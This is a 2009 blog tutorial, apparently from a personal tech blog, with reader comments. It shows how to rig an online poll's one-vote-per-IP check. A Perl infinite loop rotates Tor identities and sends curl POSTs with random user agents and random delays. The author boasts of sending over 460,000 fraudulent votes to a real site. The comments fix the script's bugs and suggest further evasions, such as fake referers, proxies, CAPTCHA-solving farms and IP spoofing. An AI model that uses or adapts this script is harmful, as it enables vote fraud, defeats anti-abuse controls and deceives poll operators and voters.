Dashboard

Sep 01 21:22 | After a bit of use, Tasker for Android is nothing short of amazing. http://bit.ly/aUYnbu
Sep 01 19:29 | If you use the Apple ecosystem, maybe AppleTV makes sense. Otherwise, IMHO there are better options available (Roku, XMBC/Boxee)
Aug 30 18:04 | Little doses of creative spark are sometimes all you need.

How to use Perl, Tor, and cURL to game an IP check voting engine

July 10th 2009

Every once in a while I like to spend some time looking at a problem that isn’t even a problem. Maybe it’s a proof of concept, maybe it’s something that just vastly has the potential to be something more. Other times, maybe I just want to game the system just because I can. I can have fun too.

Gaming online voting has been around since the invention of online voting. The most notable by far is what the folks at 4chan did to the Time 100 poll (see here, here, here). The follow technique pales in comparison, but then again, I’m a simple sort of guy. My target did not need as much sophistication.

The site in question (which shall remain nameless) had some 50 candidates (ideas one might call them) that could receive votes. Let’s presume for a moment that one of those candidates I wish to vote for. A lot. So I go the web site, load up Firebug and click “Vote” to see what happens. Oh look at that, it does a little AJAX post using jQuery (which I know all too well) to a voting script on their server. I see what vars it it sends in the POST and I see the JSON response it returns. I click vote again and it posts the same info, but returns a message that I voted already today. Humm, looks like an IP address check. What’s a guy to do?

Time to load up Tor. For those of you who don’t know Tor, Tor can be used with a browser to give you a certain degree of anonymity online by using a distributed network of relays run by volunteers. You may have heard of Tor recently, given that the Electronic Frontier Foundation called upon users to run a relay to help support protests in Iran.

To test my IP address restriction theory, I ran Tor, submitted vote again, and it worked. I changed Tor identities (like getting a new IP address) and submitted a vote again. It worked. Great, I could sit here all day long and change identities and submit. But that takes way too long. Let’s script it.

I set this up on Linux. You could probably setup the same thing on Windows, but I’m not going to speak to that. So you’ve installed Tor on Linux, and you think happy days. How does one change the identity on the command line? I used tor-ctrl.sh written by Stefan Behte. Once you have the script setup (I’m not going to explain it given Stefan has instructions on his site), it’s a simple command:

1
./tor-ctrl.sh -c "signal NEWNYM"

Since we can now change our identity at will, lets work on the POST. How to do this on the command line? cURL. Curl is the best thing since sliced bread. It has so many options I highly suggest you read the manpage. How to fire it off at our target:

1
curl -s --socks4a localhost:9050 -e {YOUR_REFERER} -d '{POST_VARS}' -A '{USER_AGENT}' {TARGET_SCRIPT}

What exactly is that piece of command line gold doing? Let’s break it down.

  • “-s” is to make curl run in mute, with no error message or progress meter.
  • “–socks4a localhost:9050″ makes curl run through Tor (yes, you can do this a different way, it’s just the way I chose to do it).
  • “-e {YOUR_REFERER}” is URL where you want to be coming from, say the actual voting page URL (http://example.com/somepage).
  • “-d ‘{POST_VARS}’” would be your actual data that you want to submit to the script (example data: “candidate=27&submit=1″)
  • -A ‘{USER_AGENT}’ is the “browser” you’re using
  • {TARGET_SCRIPT} the actual script you’re posting to

This simple command will submit a single vote to a target and return what ever the target script has to offer. But that’s a single vote, and it’s not integrated with the Tor identity switcher. That’s where Perl comes in.

I like Perl a lot. I’ve written lots of tools and little scripts over the years in Perl, namely because it’s fast. You’re about to read one of the simplest scripts ever. There is nothing fancy about, it simply takes the two pieces above, adds in a random user agent via WWW::UserAgent::Random, and runs everything in an infinite loop.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 
#  User agent random action
use WWW-UserAgent-Random;
 
# my vote counter
 $votes = 0;
 
 #infinite loop that makes the magic happen
 while(1)
 {
	print("Running.....");
 
	# setup random user agent
	my $user_agent = rand_ua("windows");
 
	# set new TOR route
	$setip = `./tor-ctrl.sh -c "signal NEWNYM"`;
 
	# submit vote
	$reply = `curl -s --socks4a localhost:9050 -e {YOUR_REFER} -d '{POST_VARS}' -A '$user_agent' {TARGET_SCRIPT}`;
 
        # check JSON reply
	if ($reply == '{"good":"yipee"}')
	{
		$votes++;
		$message = "Voted!";
	}
	else
	{
		$message = "No vote!";
	}
 
	# between 10-100 seconds; lower numbers, faster submits
	$sleeptime = int(rand(90)) + 10;
 
	print("$message Total: $votes Sleeping for $sleeptime seconds. DEBUG: $reply \n");
 
	# lets sleep for a bit
	sleep ($sleeptime);
 
 }

Could you run this right now on your system? No. You’d have to modify the counter for one thing, among changing out the cURL vars. Truth be told in my running script, I ran a custom version of WWW::UserAgent::Random with a lot more random user agent strings for what I was doing. Most people I’ve shown the script to really like the little random sleep timer. Everyone thinks it looks more “real” as opposed to say just removing the sleep timer and pounding the server with votes (which you could do).

So does this script actaully work? See screenshot of script(s) in action:

Example Run Script...keep voting!

As you can see, I’ve got the script running on three different servers. To really test it, between me and some folks I know, it was at one point running at least 20 instances of the script and submitted a grand total of over 460,000 votes to the target.

The true moral of this story is that using an IP check is not a good means to eliminate voting scripts and bots. The other moral of this story is if the vote counts are not made public, you can pick any one you want as the winner.

Have a good weekend everyone!

Reader Responses

Skip to Response Form

1
Maurice says:
July 17, 1:54

Looks like there’s a bug on line 23 where you’re checking the response.

You’re assigning the value rather than comparing it.

2
justin.ribeiro says:
July 17, 8:09

@Maurice Oh so very true; I wondered if anyone would notice (must of happened when I changed the JSON reply…let’s just say that wasn’t the actual response). I’ve updated that line for prosperity (though I should probably leave it and teach the lesson of the -w option). ;-)

3
Maurice says:
July 21, 21:27

I think it’s still a bit broken, actually.

perl -le ‘$_ = “foo”; print $_ == “bah” ? “match” : “nope”‘

I think you need to use the ‘eq’ operator.

I added a post recently about using LWP with Tor, BTW:

http://mlawire.blogspot.com/2009/07/using-lwp-with-tor.html

4
justin.ribeiro says:
July 21, 21:40

@Maurice You are correct sir, == would be for testing for numeric equality, of which that piece of code would not work (or at least not correctly).

Like your article, just added it to my delicious bookmarks.

5
kjhgtdytrrfhb says:
January 21, 3:05

With different IPs aren’t you limited by tor exit nodes number? This is like a few thousands only.

This proof of concept is nice. I will recommend it to anyone considering e-voting for any major decision.

But bumping the counter this way is just one thing. After the fact the administrator might check originating IPs and confront them with his average visitor statistics deleting all the “Mongolian” ones. ;) This could be partially-fixed by checking the geolocation of your new tor identity each time.

Or he might found in the logs that these IPs just vote without viewing the actual website. He might even generate some token each time to be read and attached, not to mention including a CAPTCHA, but I realize that the former might be examined and tackled with something like WWW::Mechanize and the latter with outsourcing CAPTCHA-filling interface to India for $2/1000.

And finally some websites just ban tor users – there is a way to tell if an IP is a tor exit node. But oh, well, real bad guys just use botnets of infected PCs.

6
February 05, 13:33

@kjhgtdytrrfhb Your point is valid; you could always protect against this example script in any number of ways. But at the same time, the script could evolve as well.

For instance, lets say you check if I viewed the website. The example takes this into account via -e option of CURL.

How about blocking exit nodes; I could just bounce off proxy servers all day long or spoof my IP address.

The point, though I may not have specifically stated it, is that voting scripts are flawed no matter what you do, because there will always be somebody out there that will find away around the “security”.

That certainly was the case with the Time poll, and they tried hard to protect it.

Comment on this Entry

About This Entry

You are reading "How to use Perl, Tor, and cURL to game an IP check voting engine", and entry posted on 10 July, 2009 and filed under hacking, learning, software.

0 responses to this entry. 0 blog reactions. Add your response or trackback from your own site.